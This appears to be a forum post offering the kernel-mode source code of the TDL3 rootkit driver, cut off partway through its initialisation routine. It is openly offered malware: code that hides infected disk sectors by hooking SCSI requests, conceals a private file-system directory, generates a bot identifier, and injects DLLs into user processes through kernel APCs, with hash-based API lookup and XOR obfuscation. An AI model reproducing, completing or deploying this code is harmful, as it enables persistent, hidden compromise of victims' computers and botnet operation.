[SRC] TDL3 Rootkit Driver - نسخه قابل چاپ

کد:
#include "inc.h"





#pragma comment(linker,"/subsystem:native /entry:DriverEntry")





NT_BEGIN

EXTERN_C_START





DWORD GetDelta();

NTSTATUS Reinitialize(PDEVICE_OBJECT,BOOLEAN);

VOID GetEPNameOffset();





NTSTATUS TDLEntry(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry)

{





 PTDL_START ptsStart;

 PIMAGE_NT_HEADERS pinhHeader;





 GET_TDL_ADDRESSES->pdoDeviceDisk=(PDEVICE_OBJECT)pusRegistry;

 pinhHeader=(PIMAGE_NT_HEADERS)RtlImageNtHeader(pdoDriver->DriverStart);

 ptsStart=(PTDL_START)RtlOffsetToPointer(pdoDriver->DriverStart,pinhHeader->OptionalHeader.AddressOfEntryPoint+TDL_START_SIZE-sizeof(TDL_START));

 GET_TDL_ADDRESSES->ullFSOffset=ptsStart->ullDriverCodeOffset;

 pinhHeader->OptionalHeader.AddressOfEntryPoint=(DWORD)(DWORD_PTR)ptsStart->pdiOEP;

 pinhHeader->OptionalHeader.CheckSum=ptsStart->dwCheckSum;

 pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=ptsStart->dwSectionSecuritySize;

 pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=ptsStart->dwSectionSecurityVirtualAddress;

 GetEPNameOffset();

 *GET_TDL_ADDRESSES->cBotID=0;

 if(!NT_SUCCESS(Reinitialize(0,FALSE)))

 {

 IoRegisterFsRegistrationChange(GET_TDL_ADDRESSES->pdoDriver,ADDRESS_DELTA(PDRIVER_FS_NOTIFICATION,Reinitialize));

 }

 return STATUS_SUCCESS;

}





VOID GetEPNameOffset()

{

 CHAR cSystem[]={'S','y','s','t','e','m',0};





 GET_TDL_ADDRESSES->dwEPNameOffset=0;

 while(memcmp(RtlOffsetToPointer(IoGetCurrentProcess(),GET_TDL_ADDRESSES->dwEPNameOffset),cSystem,sizeof(cSystem))!=0)

 {

 GET_TDL_ADDRESSES->dwEPNameOffset++;

 }

 return;

}





PVOID Unxor(PVOID pvData,DWORD dwSize,BYTE bKey)

{

 DWORD dwData;





 for(dwData=0;dwData<dwSize;dwData++)

 {

 ((PBYTE)pvData)[dwData]^=dwData+bKey;

 }

 return pvData;

};





NTSTATUS SCSICmd(PDEVICE_OBJECT pdoDevice,PDRIVER_DISPATCH pddDispatch,BYTE bOpCode,BYTE bDataIn,PVOID pvBuffer,DWORD dwBufferSize,DWORD dwAddress)

{

 SCSI_REQUEST_BLOCK srbBuffer;

 SENSE_DATA sdData;

 IO_STATUS_BLOCK iosbStatus;

 KEVENT keEvent;

 PIRP piIrp;

 PMDL pmMdl;

 PIO_STACK_LOCATION pislStack;





 memset(&srbBuffer,0,sizeof(srbBuffer));

 memset(&sdData,0,sizeof(sdData));

 srbBuffer.Length=sizeof(srbBuffer);

 srbBuffer.Function=SRB_FUNCTION_EXECUTE_SCSI;

 srbBuffer.QueueAction=SRB_FLAGS_DISABLE_AUTOSENSE;

 srbBuffer.CdbLength=CDB10GENERIC_LENGTH;

 srbBuffer.SenseInfoBufferLength=sizeof(sdData);

 srbBuffer.SenseInfoBuffer=&sdData;

 srbBuffer.DataTransferLength=dwBufferSize;

 srbBuffer.DataBuffer=pvBuffer;

 srbBuffer.TimeOutValue=5000;

 srbBuffer.QueueSortKey=dwAddress;

 srbBuffer.SrbFlags=bDataIn|SRB_FLAGS_DISABLE_AUTOSENSE;

 srbBuffer.Cdb[0]=bOpCode;

 srbBuffer.Cdb[2]=(BYTE)((dwAddress&0xff000000)>>24);Ã‚ 

 srbBuffer.Cdb[3]=(BYTE)((dwAddress&0xff0000)>>16);Ã‚ 

 srbBuffer.Cdb[4]=(BYTE)((dwAddress&0xff00)>>8);Ã‚ 

 srbBuffer.Cdb[5]=(BYTE)(dwAddress&0xff);

 if(dwAddress!=0)

 {

 DWORD dwSectors;





 dwSectors=dwBufferSize/0x200;

 srbBuffer.Cdb[7]=(BYTE)((dwSectors&0xff00)>>8);

 srbBuffer.Cdb[8]=(BYTE)(dwSectors&0xff);

 }

 KeInitializeEvent(&keEvent,NotificationEvent,FALSE);

 piIrp=IoAllocateIrp(pdoDevice->StackSize,FALSE);

 if(piIrp!=0)

 {

 pmMdl=IoAllocateMdl(pvBuffer,dwBufferSize,0,0,piIrp);

 srbBuffer.OriginalRequest=piIrp;

 piIrp->MdlAddress=pmMdl;

 MmProbeAndLockPages(pmMdl,KernelMode,IoModifyAccess);

 piIrp->UserIosb=&iosbStatus;

 piIrp->UserEvent=&keEvent;

 piIrp->Flags=IRP_SYNCHRONOUS_API|IRP_NOCACHE;

 piIrp->Tail.Overlay.Thread=KeGetCurrentThread();

 pislStack=IoGetNextIrpStackLocation(piIrp);

 pislStack->DeviceObject=pdoDevice;

 pislStack->MajorFunction=IRP_MJ_SCSI;

 pislStack->Parameters.Scsi.Srb=&srbBuffer;

 piIrp->CurrentLocation--;

 pislStack=IoGetNextIrpStackLocation(piIrp);

 piIrp->Tail.Overlay.CurrentStackLocation=pislStack;

 pislStack->DeviceObject=pdoDevice;

 if(pddDispatch(pdoDevice,piIrp)==STATUS_PENDING)

 {

 KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,0);

 }

 return iosbStatus.Status;

 }

 return STATUS_INSUFFICIENT_RESOURCES;

}





extern "C"

{

 #include "gz.cpp"

 #include "md4.cpp"

 #include "socket.cpp"

 #include "tdlini.cpp"

 #include "tdlfs.cpp"





}





NTSTATUS MJCompletion(PDEVICE_OBJECT pdoDevice,PIRP piIrp,PVOID pvContext)

{

 NTSTATUS ntsStatus;





 if(NT_SUCCESS(piIrp->IoStatus.Status))

 {

 PVOID pvBuffer;

 PIO_STACK_LOCATION pislStack;

 DWORD dwSector;





 pislStack=IoGetCurrentIrpStackLocation(piIrp);

 pvBuffer=MmGetSystemAddressForMdlSafe(piIrp->MdlAddress,NormalPagePriority);

 if(((PDISK_COMPLETION)pvContext)->dwSectorOffset+(DWORD)piIrp->IoStatus.Information/GET_TDL_ADDRESSES->dwSectorSize>GET_TDL_ADDRESSES->dwFirstHiddenSector)

 {

 DWORD dwOffset;





 if(((PDISK_COMPLETION)pvContext)->dwSectorOffset<GET_TDL_ADDRESSES->dwFirstHiddenSector)

 {

 dwOffset=(GET_TDL_ADDRESSES->dwFirstHiddenSector-((PDISK_COMPLETION)pvContext)->dwSectorOffset)*GET_TDL_ADDRESSES->dwSectorSize;

 }

 else

 {

 dwOffset=0;

 }

 memset(RtlOffsetToPointer(pvBuffer,dwOffset),0,(DWORD)piIrp->IoStatus.Information-dwOffset);

 }

 else

 {

 for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++)

 {

 if((GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset!=0)

 &&ADDRESS_IN(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset,((PDISK_COMPLETION)pvContext)->dwSectorOffset,piIrp->IoStatus.Information/GET_TDL_ADDRESSES->dwSectorSize))

 {

 memcpy(RtlOffsetToPointer(pvBuffer,GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset+(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset-((PDISK_COMPLETION)pvContext)->dwSectorOffset)*GET_TDL_ADDRESSES->dwSectorSize),GET_TDL_ADDRESSES->thsSectors[dwSector].pvValue,GET_TDL_ADDRESSES->thsSectors[dwSector].dwSize);

 }

 }

 }

 }

 if(((PDISK_COMPLETION)pvContext)->picrCompletion!=0)

 {

 ntsStatus=((PDISK_COMPLETION)pvContext)->picrCompletion(pdoDevice,piIrp,((PDISK_COMPLETION)pvContext)->pvContext);

 }

 ExFreePool(pvContext);

 return ntsStatus;

}





NTSTATUS MJDispatch(PDEVICE_OBJECT pdoDevice,PIRP piIrp)

{

 PIO_STACK_LOCATION pislStack;

 PDISK_COMPLETION pdcCompletion=0;

 DWORD dwSector;





 pislStack=IoGetCurrentIrpStackLocation(piIrp);

 if((pdoDevice==GET_TDL_ADDRESSES->pdoFSDevice)

 &&(pislStack->FileObject!=0)

 &&(pislStack->FileObject->FileName.Length>sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)+2*sizeof(L'\\')-sizeof(WCHAR))

 &&(memcmp(RtlOffsetToPointer(pislStack->FileObject->FileName.Buffer,sizeof(L'\\')),GET_TDL_ADDRESSES->wcTDLDirectory,sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR))==0))

 {

 piIrp->IoStatus.Status=STATUS_NOT_IMPLEMENTED;

 piIrp->IoStatus.Information=0;

 TDLFSDispatch(pdoDevice,piIrp);

 IoCompleteRequest(piIrp,IO_NO_INCREMENT);

 return piIrp->IoStatus.Status;

 }

 if((pdoDevice==GET_TDL_ADDRESSES->pdoDeviceDisk)

 &&(!((pislStack->FileObject!=0)

 &&(pislStack->FileObject->FileName.Length==sizeof(L'\\')+sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR))

 &&(memcmp(RtlOffsetToPointer(pislStack->FileObject->FileName.Buffer,sizeof(L'\\')),GET_TDL_ADDRESSES->wcTDLDirectory,sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR))==0)))

 &&(pislStack->MajorFunction==IRP_MJ_SCSI)

 &&(pislStack->Parameters.Scsi.Srb->Function==SRB_FUNCTION_EXECUTE_SCSI))

 {

 BOOL bComplete=FALSE;

 BOOL bEnd=FALSE;





 if(pislStack->Parameters.Scsi.Srb->QueueSortKey+pislStack->Parameters.Scsi.Srb->DataTransferLength/GET_TDL_ADDRESSES->dwSectorSize>GET_TDL_ADDRESSES->dwFirstHiddenSector)

 {

 bEnd=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_OUT)!=0;

 bComplete=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_IN)!=0;

 }

 else

 {

 for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++)

 {

 if((GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset!=0)

 &&ADDRESS_IN(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset,pislStack->Parameters.Scsi.Srb->QueueSortKey,pislStack->Parameters.Scsi.Srb->DataTransferLength/GET_TDL_ADDRESSES->dwSectorSize))

 {

 bEnd=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_OUT)!=0;

 bComplete=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_IN)!=0;

 }

 }

 }

 if(bEnd)

 {

 pislStack->Parameters.Scsi.Srb->SrbStatus=SRB_STATUS_SUCCESS;

 pislStack->Parameters.Scsi.Srb->InternalStatus=SRB_STATUS_SUCCESS;

 piIrp->IoStatus.Status=STATUS_SUCCESS;

 IoCompleteRequest(piIrp,IO_NO_INCREMENT);

 return STATUS_SUCCESS;

 }

 if(bComplete)

 {

 pdcCompletion=(PDISK_COMPLETION)ExAllocatePool(NonPagedPool,sizeof(DISK_COMPLETION));

 if(pdcCompletion!=0)

 {

 pdcCompletion->picrCompletion=pislStack->CompletionRoutine;

 pdcCompletion->pvContext=pislStack->Context;

 pdcCompletion->dwSectorOffset=pislStack->Parameters.Scsi.Srb->QueueSortKey;

 pislStack->Control=SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR|SL_INVOKE_ON_CANCEL;

 pislStack->Context=pdcCompletion;

 pislStack->CompletionRoutine=ADDRESS_DELTA(PIO_COMPLETION_ROUTINE,MJCompletion);

 }

 }

 }

 return GET_TDL_ADDRESSES->pddDiskMJ[pislStack->MajorFunction](pdoDevice,piIrp);

}





NTSTATUS GenerateBotID(PCHAR pcBotID,DWORD dwBotIDSize)

{

 CHAR cBotIDFormat[]={'%','x','%','x',0};

 WCHAR wcVolumeObject[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',0};

 UUID uuidBotID;

 UNICODE_STRING usName;

 HANDLE hVolume;

 FILE_FS_VOLUME_INFORMATION ffviInfo;

 IO_STATUS_BLOCK iosbStatus;

 OBJECT_ATTRIBUTES oaAttributes;





 RtlInitUnicodeString(&usName,wcVolumeObject);

 InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);

 ffviInfo.VolumeSerialNumber=0;

 if(NT_SUCCESS(ZwOpenFile(&hVolume,SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,FILE_SYNCHRONOUS_IO_NONALERT)))

 {

 ZwQueryVolumeInformationFile(hVolume,&iosbStatus,&ffviInfo,sizeof(ffviInfo),FileFsVolumeInformation);

 ZwClose(hVolume);

 }

 if(ExUuidCreate(&uuidBotID)==0)

 {

 _snprintf(pcBotID,dwBotIDSize,cBotIDFormat,*(PDWORD)RtlOffsetToPointer(uuidBotID.Data4,4),ffviInfo.VolumeSerialNumber);

 return STATUS_SUCCESS;

 } 

 return STATUS_RETRY;

}





__declspec(naked) DWORD GetDelta()

{

 __asm

 {

 call delta

 delta:

 pop eax

 sub eax,offset delta

 retn

 }

}





__declspec(noinline) PVOID GetNtoskrnlBase()

{

 BYTE bIDT[6];

 PIDT_ENTRY pieIDTEntry;

 PWORD pwAddress;





 __asm

 {

 sidt bIDT;

 }

 pieIDTEntry=(PIDT_ENTRY)(*((PDWORD_PTR)&bIDT[2])+8*0x40);

 pwAddress=PWORD(pieIDTEntry->dw64OffsetLow|(pieIDTEntry->dw64OffsetHigh<<16));

 do

 {

 pwAddress=(PWORD)ALIGNDOWN(pwAddress,PAGE_SIZE);

 if(*pwAddress=='ZM')

 {

 return (PVOID)pwAddress;

 }

 pwAddress--;

 }

 while(pwAddress!=0);

 return 0;

}





VOID __stdcall APCKernelRoutine(PKAPC pkaApc,PKNORMAL_ROUTINE*,PVOID*,PVOID* ppvMemory,PVOID*)

{

 ExFreePool(pkaApc);

 return;

}





NTSTATUS DllInject(HANDLE hProcessID,PEPROCESS pepProcess,PKTHREAD pktThread,PCHAR pcDll,BOOLEAN bAlert)

{

 HANDLE hProcess;

 OBJECT_ATTRIBUTES oaAttributes={sizeof(OBJECT_ATTRIBUTES)};

 CLIENT_ID cidProcess;

 PVOID pvMemory=0;

 DWORD dwSize;

 CHAR cDllReal[MAX_PATH];

 CHAR cDllRealFormat[]={'\\','\\','?','\\','g','l','o','b','a','l','r','o','o','t','%','S','\\','%','S','\\','%','s',0};

 PCHAR pcDllReal;





 if(*pcDll!='\\')

 {

 dwSize=_snprintf(cDllReal,RTL_NUMBER_OF(cDllReal)-1,cDllRealFormat,GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory,pcDll)+1;

 pcDllReal=cDllReal;

 }

 else

 {

 pcDllReal=pcDll;

 dwSize=strlen(pcDll)+1;

 }

 cidProcess.UniqueProcess=hProcessID;

 cidProcess.UniqueThread=0;

 if(NT_SUCCESS(ZwOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&oaAttributes,&cidProcess)))

 {

 if(NT_SUCCESS(ZwAllocateVirtualMemory(hProcess,&pvMemory,0,&dwSize,MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE)))

 {

 KAPC_STATE kasState;

 PKAPC pkaApc;





 KeStackAttachProcess(pepProcess,&kasState);

 strcpy(pvMemory,pcDllReal);

 KeUnstackDetachProcess(&kasState);

 pkaApc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC));

 if(pkaApc!=0)

 {

 KeInitializeApc(pkaApc,pktThread,0,ADDRESS_DELTA(PKKERNEL_ROUTINE,APCKernelRoutine),0,GET_TDL_ADDRESSES->pvLoadLibraryExA,UserMode,pvMemory);

 KeInsertQueueApc(pkaApc,0,0,IO_NO_INCREMENT);

 return STATUS_SUCCESS;

 }

 }

 ZwClose(hProcess);

 }

 return STATUS_NO_MEMORY;

}





VOID WIInjector(PVOID pvContext)

{

 CHAR cAny[]=TDL_CONFIG_INJECTOR_ANY;

 CHAR cSection[]=TDL_CONFIG_INJECTOR;

 CHAR cDll[MAX_PATH];





 

 CHAR cSection2[]=TDL_CONFIG_MAIN;

 CHAR cKey[]={'d','a','t','e',0};









 DWORD dwDate=TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,0);

 DWORD dwCurrent;

 

 LARGE_INTEGER liTime;

 KeQuerySystemTime(&liTime);

 RtlTimeToSecondsSince1970(&liTime,&dwCurrent);





 //CHAR cDebug[]={'D','A','T','E','%','d',' ','%','d',' ','%','d',' ','%','d','\n',0};

 //DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,0);









 //if(dwCurrent-dwDate>=60*24*60)

 {

// DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,1);

 if(TDLIniReadString(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cAny,0,cDll,sizeof(cDll)))

 {

 DllInject(((PWI_INJECT)pvContext)->hProcessID,((PWI_INJECT)pvContext)->pepProcess,((PWI_INJECT)pvContext)->pktThread,cDll,FALSE);

 }

 if(TDLIniReadString(GET_TDL_ADDRESSES->wcTDLConfig,cSection,RtlOffsetToPointer(((PWI_INJECT)pvContext)->pepProcess,GET_TDL_ADDRESSES->dwEPNameOffset),0,cDll,sizeof(cDll)))

 {

 DllInject(((PWI_INJECT)pvContext)->hProcessID,((PWI_INJECT)pvContext)->pepProcess,((PWI_INJECT)pvContext)->pktThread,cDll,FALSE);

 }

 }





 KeSetEvent(&((PWI_INJECT)pvContext)->keEvent,(KPRIORITY)0,FALSE);

 return;

}





VOID __stdcall APCInjectRoutine(PKAPC pkaApc,PKNORMAL_ROUTINE*,PVOID*,PVOID*,PVOID*)

{

 WI_INJECT wiiItem;





 ExFreePool(pkaApc);

 wiiItem.pktThread=KeGetCurrentThread();

 wiiItem.pepProcess=IoGetCurrentProcess();

 wiiItem.hProcessID=PsGetCurrentProcessId();

 KeInitializeEvent(&wiiItem.keEvent,NotificationEvent,FALSE);

 ExInitializeWorkItem(&wiiItem.qiItem,ADDRESS_DELTA(PWORKER_THREAD_ROUTINE,WIInjector),&wiiItem);

 ExQueueWorkItem(&wiiItem.qiItem,DelayedWorkQueue);

 KeWaitForSingleObject(&wiiItem.keEvent,Executive,KernelMode,TRUE,0);

 return;

}





VOID LoadImageNotify(PUNICODE_STRING FullImageName,HANDLE hProcessID,PIMAGE_INFO ImageInfo)

{

 if(FullImageName!=0)

 {

 WCHAR wcKernel32Mask[]={L'*',L'\\',L'K',L'E',L'R',L'N',L'E',L'L',L'3',L'2',L'.',L'D',L'L',L'L',0};

 UNICODE_STRING usKernel32Mask;





 RtlInitUnicodeString(&usKernel32Mask,wcKernel32Mask);

 if(FsRtlIsNameInExpression(&usKernel32Mask,FullImageName,TRUE,0))

 {

 PKAPC pkaApc;





 if(GET_TDL_ADDRESSES->pvLoadLibraryExA==0)

 {

 GET_TDL_ADDRESSES->pvLoadLibraryExA=GetProcedureAddressByHash(ImageInfo->ImageBase,TDL_HASH_LOADLIBRARYEXA);

 }

 pkaApc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC));

 if(pkaApc!=0)

 {

 KeInitializeApc(pkaApc,KeGetCurrentThread(),0,ADDRESS_DELTA(PKKERNEL_ROUTINE,APCInjectRoutine),0,0,KernelMode,0);

 KeInsertQueueApc(pkaApc,0,0,IO_NO_INCREMENT);

 }

 }

 }

 return;

}





VOID WIKnock(PVOID pvWIKnock)

{

 KEVENT keEvent;





 ExFreePool(pvWIKnock);





 /*

 CHAR cSection2[]=TDL_CONFIG_MAIN;

 CHAR cKey[]={'r','e','b','o','o','t','s',0};

 CHAR cDebug[]={'U','P','D','%','s',' ','%','d','\n',0};

 DWORD dwRand=(DWORD)rand()%100;

 DbgPrint(cDebug,cKey,dwRand);

 TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,dwRand);

 */

 

 KeInitializeEvent(&keEvent,NotificationEvent,FALSE);

 while(TRUE)

 {

 

 LARGE_INTEGER liDelay;









 if((*GET_TDL_ADDRESSES->cBotID==0)

 &&NT_SUCCESS(GenerateBotID(GET_TDL_ADDRESSES->cBotID,RTL_NUMBER_OF(GET_TDL_ADDRESSES->cBotID))))

 {

 OBJECT_ATTRIBUTES oaAttributes;

 WCHAR wcBotID[0x10+sizeof(L'\\')+1];

 WCHAR wcBotIDFormat[]={L'\\',L'%',L'S',0};

 UNICODE_STRING usName;

 HANDLE hEvent;





 _snwprintf(wcBotID,RTL_NUMBER_OF(wcBotID),wcBotIDFormat,GET_TDL_ADDRESSES->cBotID);

 RtlInitUnicodeString(&usName,wcBotID);

 InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);

 ZwCreateEvent(&hEvent,EVENT_ALL_ACCESS,&oaAttributes,NotificationEvent,TRUE);

 return;

 }

 liDelay.QuadPart=(LONGLONG)-10*10000000;





 //liDelay.QuadPart=(LONGLONG)-1*10000000;

 KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,&liDelay);

 }

 return;

}

/*





void WITimer(PVOID pvWITimer)

{

 CHAR cSection2[]=TDL_CONFIG_MAIN;

 CHAR cKey[]={'r','e','b','o','o','t','s',0};

 CHAR cDebug[]={'U','P','D','%','s',' ','%','d','\n',0};

 KEVENT keEvent;





 ExFreePool(pvWITimer);

 KeInitializeEvent(&keEvent,NotificationEvent,FALSE);





 while(TRUE)

 {

 DWORD dwRand=(DWORD)rand()%100;

 LARGE_INTEGER liDelay;

 

 DbgPrint(cDebug,cKey,dwRand);

 //TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,dwRand);





 liDelay.QuadPart=(LONGLONG)-5*10000000;

 KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,&liDelay);

 }

 

}

*/





PIMAGE_SECTION_HEADER RvaToSectionHeader(PIMAGE_NT_HEADERS pinhHeader,DWORD dwRva)

{

 PIMAGE_SECTION_HEADER pishHeader;

 DWORD dwSection;





 pishHeader=IMAGE_FIRST_SECTION(pinhHeader);

 for(dwSection=0;dwSection<pinhHeader->FileHeader.NumberOfSections;dwSection++)

 {

 if((dwRva>=pishHeader->VirtualAddress)

 &&(dwRva<(pishHeader->VirtualAddress+pishHeader->Misc.VirtualSize)))

 {

 return pishHeader;

 }

 pishHeader++;

 }

 return 0;

}





DWORD RvaToFileOffset(PIMAGE_NT_HEADERS pinhHeader,DWORD dwRva)

{

 PIMAGE_SECTION_HEADER pishHeader;





 pishHeader=RvaToSectionHeader(pinhHeader,dwRva);

 if(pishHeader!=0)

 {

 return (DWORD)ALIGNDOWN(pishHeader->PointerToRawData,pinhHeader->OptionalHeader.FileAlignment)+(dwRva-pishHeader->VirtualAddress);

 }

 return 0;

}





DWORD PEChecksum(PVOID pvData,DWORD dwSize,WORD wChecksum)

{

 DWORD dwBytes=dwSize;





 while(dwBytes>0)

 {

 if(HIWORD((DWORD)wChecksum+(DWORD)*(PWORD)pvData)!=0)

 {

 wChecksum++;

 }

 wChecksum+=*(PWORD)pvData;

 dwBytes-=sizeof(WORD);

 pvData=MAKE_PTR(pvData,sizeof(WORD),PVOID);

 }

 return wChecksum+dwSize;

}





__declspec(noinline) DWORD HashString(PCHAR pcString)

{

 DWORD dwResult=0;





 while(*pcString!=0)

 {

 dwResult=(0x1003f*dwResult)+(DWORD)(*((PWORD)pcString++));

 }

 return dwResult;

}





__declspec(noinline) PVOID GetProcedureAddressByHash(PVOID pvBase,DWORD dwHash)

{

 PIMAGE_NT_HEADERS pinhHeader;

 PIMAGE_EXPORT_DIRECTORY piedExport;

 PDWORD pdwNames;

 PDWORD pdwProcedures;

 PWORD pdwOrdinals;

 DWORD i;





 pinhHeader=(PIMAGE_NT_HEADERS)((DWORD_PTR)(((PIMAGE_DOS_HEADER)pvBase)->e_lfanew)+(DWORD_PTR)pvBase);

 piedExport=(PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)(pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)+(DWORD_PTR)pvBase);

 pdwNames=MAKE_PTR(pvBase,piedExport->AddressOfNames,PDWORD);

 pdwProcedures=MAKE_PTR(pvBase,piedExport->AddressOfFunctions,PDWORD);

 pdwOrdinals=MAKE_PTR(pvBase,piedExport->AddressOfNameOrdinals,PWORD);

 for(i=0;i<piedExport->NumberOfNames;i++)

 {

 if(HashString(MAKE_PTR(pvBase,pdwNames[i],PCHAR))==dwHash)

 {

 return MAKE_PTR(pvBase,pdwProcedures[pdwOrdinals[i]],PVOID);

 }

 }

 return 0;

}





NTSTATUS MJStub(PDEVICE_OBJECT pdoDevice,PIRP piIrp)

{

 return GET_TDL_ADDRESSES->pddMJ(pdoDevice,piIrp);

}





NTSTATUS TDLInit(HANDLE hDriver)

{

 BYTE bDeviceName[MAX_PATH];

 DWORD dwSeed;

 DWORD dwCh;

 DWORD dwSize;





 GET_TDL_ADDRESSES->dwHiddenSectors=0;

 dwSeed=((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->SystemTime.LowPart;

 for(dwCh=0;dwCh<RTL_NUMBER_OF(GET_TDL_ADDRESSES->wcTDLDirectory)-1;dwCh++)

 {

 GET_TDL_ADDRESSES->wcTDLDirectory[dwCh]=(WCHAR)('a'+(CHAR)(RtlRandom(&dwSeed)%('z'-'a')));

 }

 GET_TDL_ADDRESSES->wcTDLDirectory[dwCh]=0;

 GET_TDL_ADDRESSES->pdoFSDevice=GET_TDL_ADDRESSES->pdoDriver->DeviceObject;

 while(GET_TDL_ADDRESSES->pdoFSDevice->DeviceType!=FILE_DEVICE_CONTROLLER)

 {

 GET_TDL_ADDRESSES->pdoFSDevice=GET_TDL_ADDRESSES->pdoFSDevice->NextDevice;

 }

 if(NT_SUCCESS(ObQueryNameString(GET_TDL_ADDRESSES->pdoFSDevice,bDeviceName,sizeof(bDeviceName),&dwSize)))

 {

 WCHAR wcFormatFSPath[]={L'%',L'w',L'Z',L'\\',L'%',L's',0};

 PIMAGE_NT_HEADERS pinhHeader;

 PIMAGE_NT_HEADERS pinhHeaderCache;

 PIMAGE_SECTION_HEADER pishHeader;

 PVOID pvMJStub;

 DWORD dwOldCR0;

 STARTING_VCN_INPUT_BUFFER svibBuffer={};

 RETRIEVAL_POINTERS_BUFFER rpbBuffer;

 WCHAR wcPartition[]={L'\\',L'?',L'?',L'\\',L'c',L':',0};

 UNICODE_STRING usName;

 HANDLE hPartition;

 DWORD dwClasterSize;

 OBJECT_ATTRIBUTES oaAttributes;

 IO_STATUS_BLOCK iosbStatus;

 FILE_FS_FULL_SIZE_INFORMATION fffsiInfo;

 PARTITION_INFORMATION piInfo;

 DWORD dwFirstSector=0;

 BOOT_SECTOR bsSector;

 MARK_HANDLE_INFO mhiInfo;

 DWORD dwRsrcOffset;

 PVOID pvRsrcOriginalOffset;

 DWORD dwRsrcSize;

 DWORD dwSector;

 HANDLE hSection;

 PVOID pvFile=0;

 PWORK_QUEUE_ITEM pwqiThread;





 _snwprintf(GET_TDL_ADDRESSES->wcFSDevice,RTL_NUMBER_OF(GET_TDL_ADDRESSES->wcFSDevice)-1,

 wcFormatFSPath,&((POBJECT_NAME_INFORMATION)bDeviceName)->Name,GET_TDL_ADDRESSES->wcTDLDirectory);

 wcPartition[4]=*((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->NtSystemRoot;

 RtlInitUnicodeString(&usName,wcPartition);

 InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);

 if(NT_SUCCESS(ZwOpenFile(&hPartition,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT)))

 {

 WCHAR wcIniFormat[]=TDL_CONFIG_FILE_FORMAT;





 mhiInfo.VolumeHandle=hPartition;

 mhiInfo.HandleInfo=MARK_HANDLE_PROTECT_CLUSTERS;

 mhiInfo.UsnSourceInfo=USN_SOURCE_DATA_MANAGEMENT;

 ZwFsControlFile(hDriver,0,0,0,&iosbStatus,FSCTL_MARK_HANDLE,&mhiInfo,sizeof(mhiInfo),0,0);

 ZwQueryVolumeInformationFile(hPartition,&iosbStatus,&fffsiInfo,sizeof(fffsiInfo),FileFsFullSizeInformation);

 ZwDeviceIoControlFile(hPartition,0,0,0,&iosbStatus,IOCTL_DISK_GET_PARTITION_INFO,0,0,&piInfo,sizeof(piInfo));

 GET_TDL_ADDRESSES->dwSectorSize=fffsiInfo.BytesPerSector;

 dwClasterSize=fffsiInfo.SectorsPerAllocationUnit*fffsiInfo.BytesPerSector;

 if(NT_SUCCESS(ZwReadFile(hPartition,0,0,0,&iosbStatus,&bsSector,sizeof(bsSector),0,0)))

 {

 dwFirstSector=bsSector.wReservedSectors+(bsSector.bNumberOfFats*bsSector.dwBigSectorsPerFat)+((bsSector.wRootEntries*32)+(bsSector.wBytesPerSector-1))/bsSector.wBytesPerSector;

 }

 ZwClose(hPartition);

 GET_TDL_ADDRESSES->dwFSLastClaster=1;

 GET_TDL_ADDRESSES->dwDriverCodeSector=(DWORD)_alldiv(GET_TDL_ADDRESSES->ullFSOffset,(ULONGLONG)GET_TDL_ADDRESSES->dwSectorSize);

